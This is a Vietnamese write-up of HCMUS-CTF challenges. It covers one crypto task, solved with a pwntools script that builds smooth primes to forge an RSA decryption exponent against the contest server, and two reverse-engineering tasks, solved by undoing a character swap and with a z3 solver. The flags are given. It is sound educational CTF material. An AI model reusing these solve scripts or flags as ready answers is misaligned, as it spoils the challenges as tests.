Challenge tạo hai số nguyên tố p, q, mã hóa một số ngẫu nhiên m, trả về m và bản mã c; yêu cầu nhập p, q và d sao cho m == pow(c, d, n) (với n=pq).
Như vậy mình cần tìm hai số nguyên tố sao cho việc tính logarit được dễ dàng một chút.
Sau khi tìm được dp, dq sao cho m ≡ c^dp (mod p) và m ≡ c^dq (mod q), tìm d bằng cách tính d ≡ dp (mod p-1) và d ≡ dq (mod q-1).
from sage.all import *
from pwn import remote
r = remote('61.28.237.24', 30304)
m,c = r.recvuntil("\n",drop=True).split()
m,c = int(m),int(c)
print(m,c)
def gen_prime():
while True:
p = 2
r = randint(10,15)
for i in range(55):
p *= random_prime(2**r,False,2**(r-1))
if is_prime(p+1):
return p+1
primes = []
ds = []
while True:
p = gen_prime()
try:
d = discrete_log(Mod(m,p),Mod(c,p))
assert pow(Mod(c,p),d,p) == Mod(m,p) and p.nbits() > 511 and p.nbits() < 1024
if len(primes) != 0:
assert (ds[0] - d) % gcd(primes[0]-1,p-1) == 0
primes.append(p)
ds.append(d)
if len(primes) == 2:
break
except:
continue
_,u,v = xgcd(primes[0]-1,primes[1]-1)
l = (ds[0] - ds[1])//gcd(primes[0]-1,primes[1]-1)
d = (ds[0] - (primes[0]-1)*u*l) % LCM(primes[0]-1,primes[1]-1)
assert m == pow(c,d,primes[0]*primes[1])
p = min(primes)
q = max(primes)
print(p,q)
r.sendline(str(p))
r.sendline(str(q))
r.sendline(str(d))
print(r.recv())
REVERSE
Go
- Phân tích tổng quan
- Load file vào IDA, theo thói quen tôi sẽ đi tìm strings của chương trình, nhận ra file được viết bằng ngôn ngữ Golang. Từ đó ta có thể dễ dàng đọc được tên của các function trong chương trình.
- Hàm main_promptUser() sẽ thực hiện in ra màn hình chuỗi “Please input your secret” và yêu cầu người dùng nhập secret. Sau đó sẽ kiểm tra chiều dài của input, nếu khác 16 kí tự thì sẽ kết thúc chương trình.
- Sau khi kiểm tra chiều dài input, chương trình sẽ duyệt từng kí tự bằng vòng lặp while, hóan đổi hai kí tự, dựa vào biến i và index được lưu trong main_KEY.
- Cuối cùng, chương trình sẽ so sánh Input đã được xáo trộn.
- Cách giải
- Theo như thuật toán, ta chỉ cần hoán đổi vị trí lại, thì sẽ lấy được secret ban đầu.
enc = "apc_iit0" + "_sredaig"
index = [1, 2, 9, 5, 0xF, 7, 0xB, 0xA, 3, 0xD, 8, 0, 0xE, 0xC, 4, 6]
enc_arr = [ord(c) for c in enc]
for i in range(15, -1, -1):
char1 = enc_arr[i]
char2 = enc_arr[index[i]]
enc_arr[i] = char2
enc_arr[index[i]] = char1
flag = "HCMUS-CTF{" + "".join([chr(c) for c in enc_arr]) + "}"
print("[+] Flag is " + flag)
-
Chạy đoạn script trên, ta được flag
“HCMUS-CTF{dep_trai_c0gisai}”
pt-vm
- Phân tích tổng quan
-
Như thường lệ tôi sẽ load file vào IDA để kiểm tra string, ta nhận được các string rất rõ ràng như bên trên.
- Đi từ hàm main(), ta thấy code rất rõ ràng là tạo một child process để chạy hàm ddee(), và parent process để chạy hàm dder().
- Phân tích parent process
- Tại hàm dder() mà parent process sẽ thực thi, hàm sử dụng ptrace() cùng với tham số request để tạo giao tiếp với child process. Hàm wait() sẽ đợi cho child process dừng để parent process xử lý.
-
Biến data_control sẽ thay đổi khi hàm ptrace() với request là PTRACE_PEEKDATA được gọi. Bằng cách tính toán, biến control sẽ quyết định chương trình sẽ nhảy vào điều kiện nào.
- Điều kiện thứ nhất, lấy dữ liệu từ child process tại địa chỉ num1, lưu vào num_reverse, sau đó thực hiện phép toán reverse bit, và gửi lại cho child process.
- Điều kiện thứ hai, lấy dữ liệu từ child process tại địa chỉ address, lưu vào biến num1 và num2, sau đó thực hiện phép toán cộng, và gửi lại cho child process.
- Điều kiện thứ ba, lấy dữ liệu từ child process tại địa chỉ address, lưu vào biến num1 và num2, sau đó thực hiện phép toán trừ, và gửi lại cho child process.
- Điều kiện thứ tư, lấy dữ liệu từ child process tại địa chỉ address, lưu vào biến num1 và num2, sau đó thực hiện phép toán xor, và gửi lại cho child process.
- Điều kiện thứ năm, lấy tất cả các string đã bị encode, sau đó thực hiện so sánh với geee, và gửi kết quả lại cho child process xử lý.
- Phân tích child process
- Theo như phân tích tại parent process, ta cần tìm cách child process xử lý các biến data_control, num_reverse, num1, num2, calc_rs.
- Đầu tiên tại hàm ddee() của child process sẽ lấy input từ user và kiểm chiều dài của input.
- Tiếp theo, sẽ thực hiện lấy lần lượt 8 kí tự và để xử lý.
-
Ta sẽ chú ý tại các hàm gọi MEMORY[], nó sẽ bị dừng, mục đích là để hàm wait() bên parent process sẽ được kích hoạt. Và các giá trị 0xA, 0x3C, 0x28, 0x1E, 0x50 sẽ được lưu vào biến data_control của parent process. Các giá trị này tương ứng với các điều kiện ở parent process như sau:
- 0xA: nhảy vào điều kiện một (reverse bit).
-
0x3C: nhảy vào điều kiện tư (xor).
- 0x28: nhảy vào điều kiện hai (cộng).
- 0x1E: nhảy vào điều kiện ba (trừ).
-
0x50: nhảy vào điều kiện năm (so sánh).
- Các tham số của hàm gọi MEMORY[], sẽ được lưu vào num1, num2, num_reverse, phục vụ cho việc tính toán.
- Với mỗi 8 kí tự, nó sẽ thực hiện tính toán 16 lần bằng vòng lặp for.
- Cách giải
-
Từ những phân tích trên, ta có thể viết script để tìm ra flag.
-
Script :
from z3 import * gkkk = [325596351, 457775025, 498535334, 921938257, 854559005, 278618817, 967278326, 495455348, 486407031, 560196648, 938663917, 895224611, 427208766, 324837071, 891048005, 328174499] num1 = 0x38821775 num2 = 0x4011109 enc_arr = [3481818651, 1406422550, 2166333605, 612036842, 3951196244, 3184151364, 4163952787, 2152010559, 1769293459, 3641677631, 170138174, 417601142, 4212788717, 2130536228, 4161410247, 2095996077, 3931769021, 611328995, 3931769021, 611328995, 3931769021, 611328995, 1448741053, 3765445603] flag = "" for j in range(0, len(enc_arr), 2): tmp1 = BitVec("tmp1", 32) tmp2 = BitVec("tmp2", 32) sol = Solver() for i in range(0, 16, 1): tmp_tmp1 = tmp2 tmp_tmp2 = tmp2 tmp_tmp2 = 0xFFFFFFFF + (~tmp_tmp2) + 1 tmp_tmp2 = tmp_tmp2 ^ num1 tmp_tmp2 = (tmp_tmp2 + gkkk[i]) & 0xFFFFFFFF tmp_tmp2 = 0xFFFFFFFF + (~tmp_tmp2) + 1 tmp_tmp2 = tmp_tmp2 - num2 tmp2 = tmp_tmp2 ^ tmp1 tmp1 = tmp_tmp1 sol.add(tmp1 == enc_arr[j]) sol.add(tmp2 == enc_arr[j + 1]) sol.check() m = sol.model() flag = [] md = sorted([(d, m[d]) for d in m], key = lambda x: str(x[0])) for i in md: flag.append(i[1].as_long()) for i in flag: print(chr(i & 0xff), end = '') print(chr(i >> 8 & 0xff), end = '') print(chr(i >> 16 & 0xff), end = '') print(chr(i >> 24 & 0xff), end = '') -
Chạy đoạn script trên, ta được flag :
HCMUS-CTF{toi_khong_biet_lam_nhu_nao_de_co_flag_dai_96_byte_caaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}
Conclusion
Cuối cùng, chúc mừng đội Giải nhất đã chiến thắng hoàn toàn xứng đáng và mình chân thành cảm ơn BTC của Đại học Khoa học Tự Nhiên đã tạo ra sân chơi cực kỳ bổ ích đến cho chúng mình, qua cuộc thi này mình cảm thấy học được nhiều thứ mới và cũng như đánh giá lại được năng lực của bản thân để cố gắng phát triển hơn nữa. _ Happy hacking XD _